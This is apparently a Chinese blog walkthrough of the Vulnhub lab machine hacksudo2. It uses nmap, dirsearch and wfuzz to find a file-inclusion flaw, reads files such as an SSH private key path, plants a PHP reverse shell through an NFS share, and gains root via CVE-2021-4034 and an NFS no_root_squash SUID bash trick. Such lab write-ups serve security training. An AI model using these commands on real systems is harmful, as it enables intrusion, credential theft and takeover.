Vulnhub靶机:hacksudo2 (HackDudo)

一、介绍

运行环境:Virtualbox

攻击机:kali(10.0.2.15)

靶机:hacksudo2 (HackDudo)(10.0.2.44)

目标:获取靶机root权限和flag

靶机下载地址:https://download.vulnhub.com/hacksudo/hackdudo2.rar

二、信息收集

使用nmap主机发现靶机ip:10.0.2.44

Vulnhub靶机:hacksudo2 (HackDudo)_第1张图片

使用nmap端口扫描发现,靶机开放端口:80、111、1337、2049、37205、45247、56943、60739

Vulnhub靶机:hacksudo2 (HackDudo)_第2张图片

80端口:打开网站未发现可利用的功能点,查看源码也没有发现隐藏信息

Vulnhub靶机:hacksudo2 (HackDudo)_第3张图片

直接使用dirsearch工具进行目录爆破

Vulnhub靶机:hacksudo2 (HackDudo)_第4张图片

将爆破得到的目录和文件一个个访问,发现file.php、info.php两个文件比较可疑

Vulnhub靶机:hacksudo2 (HackDudo)_第5张图片

Vulnhub靶机:hacksudo2 (HackDudo)_第6张图片

根据网页上的提示,使用wfuzz工具探测,看看file.php文件是否存在文件包含LFI

wfuzz -w /usr/share/wordlists/wfuzz/general/common.txt http://10.0.2.44/file.php?FUZZ=/etc/passwd

Vulnhub靶机:hacksudo2 (HackDudo)_第7张图片

发现一个参数file,浏览器访问,成功回显passwd文件内容

Vulnhub靶机:hacksudo2 (HackDudo)_第8张图片

2049端口:根据nmap扫描分析2049端口开放了NFS服务,尝试查看靶机利用NFS共享的全部文件夹,发现开放/mnt/nfs文件夹

showmount -e 10.0.2.44

在这里插入图片描述

在攻击机上面创建一个文件夹/tmp/,将靶机上的共享文件挂载到该文件上面。

mount -t nfs 10.0.2.44:/mnt/nfs tmp -o nolock

在挂载成功之后我们可以通过df -h命令查看所有的本地磁盘的信息

Vulnhub靶机:hacksudo2 (HackDudo)_第9张图片

查看共享文件夹里面的文件,发现flag1.txt

Vulnhub靶机:hacksudo2 (HackDudo)_第10张图片

三、漏洞利用

利用文件包含漏洞读取靶机上的文件,看看有没有可利用的信息。直接读取文件,但大多数时候很多信息无法直接显示在浏览器页面上,可以将文件内容进行base64编码后显示在浏览器上,再自行解码。

http://10.0.2.44/file.php?=php://filter/convert.base64-encode/resource=file.php
尝试读取:
/home/hacksudo/.bash_history
/home/hacksudo/.bash_logout
/home/hacksudo/.bashrc
/home/hacksudo/.ssh/id_rsa

读取均未发现什么可利用的信息

想到2049端口开放了NFS服务,我们可以直接将反弹shell脚本上传到共享文件夹,然后使用文件包含漏洞包含上传的shell,反弹shell

Vulnhub靶机:hacksudo2 (HackDudo)_第11张图片

访问上传的webshell,反弹shell

http://10.0.2.44/file.php?file=/mnt/nfs/php-reverse-shell.php

Vulnhub靶机:hacksudo2 (HackDudo)_第12张图片

获取交互式shell

python3 -c 'import pty; pty.spawn("/bin/bash")'

Vulnhub靶机:hacksudo2 (HackDudo)_第13张图片

四、提权

方法一:

查看靶机是否存在特权文件,或可利用的具有root权限的文件,发现/usr/libexec/polkit-agent-helper-1文件

find / -perm -u=s -type f 2>/dev/null

Vulnhub靶机:hacksudo2 (HackDudo)_第14张图片

该版本的polkit存在提权漏洞CVE-2021-4034,因为靶机没有gcc环境,可以上传已经编译好的exp(因为靶机和本机运行库的版本存在很大差异,如果直接在本机编译,在靶机运行会报错,所以我是在另一个已经攻克的靶机里面进行编译的)

Vulnhub靶机:hacksudo2 (HackDudo)_第15张图片

执行exp,获得root权限

Vulnhub靶机:hacksudo2 (HackDudo)_第16张图片

方法二:

当服务器中存在NFS共享,且开启了no_root_squash选项时,这时如果客户端使用的是root用户,那么对于共享目录来说,该客户端就有root权限,可以使用它来提升权限。

使用攻击者本地root权限创建Suid shell。

cp /bin/bash shell
chmod u+s shell

Vulnhub靶机:hacksudo2 (HackDudo)_第17张图片

回到要提权的服务器上,使用普通用户使用shell -p来获取root权限。

Vulnhub靶机:hacksudo2 (HackDudo)_第18张图片

发现报错,可能是靶机的bash环境和本地的bash环境版本问题导致的

Vulnhub靶机:hacksudo2 (HackDudo)_第19张图片
Vulnhub靶机:hacksudo2 (HackDudo)_第20张图片

我们找到一个合适版本的bash,再次尝试,提权成功

Vulnhub靶机:hacksudo2 (HackDudo)_第21张图片
Vulnhub靶机:hacksudo2 (HackDudo)_第22张图片

获取flag

Vulnhub靶机:hacksudo2 (HackDudo)_第23张图片

你可能感兴趣的:(靶场,web安全)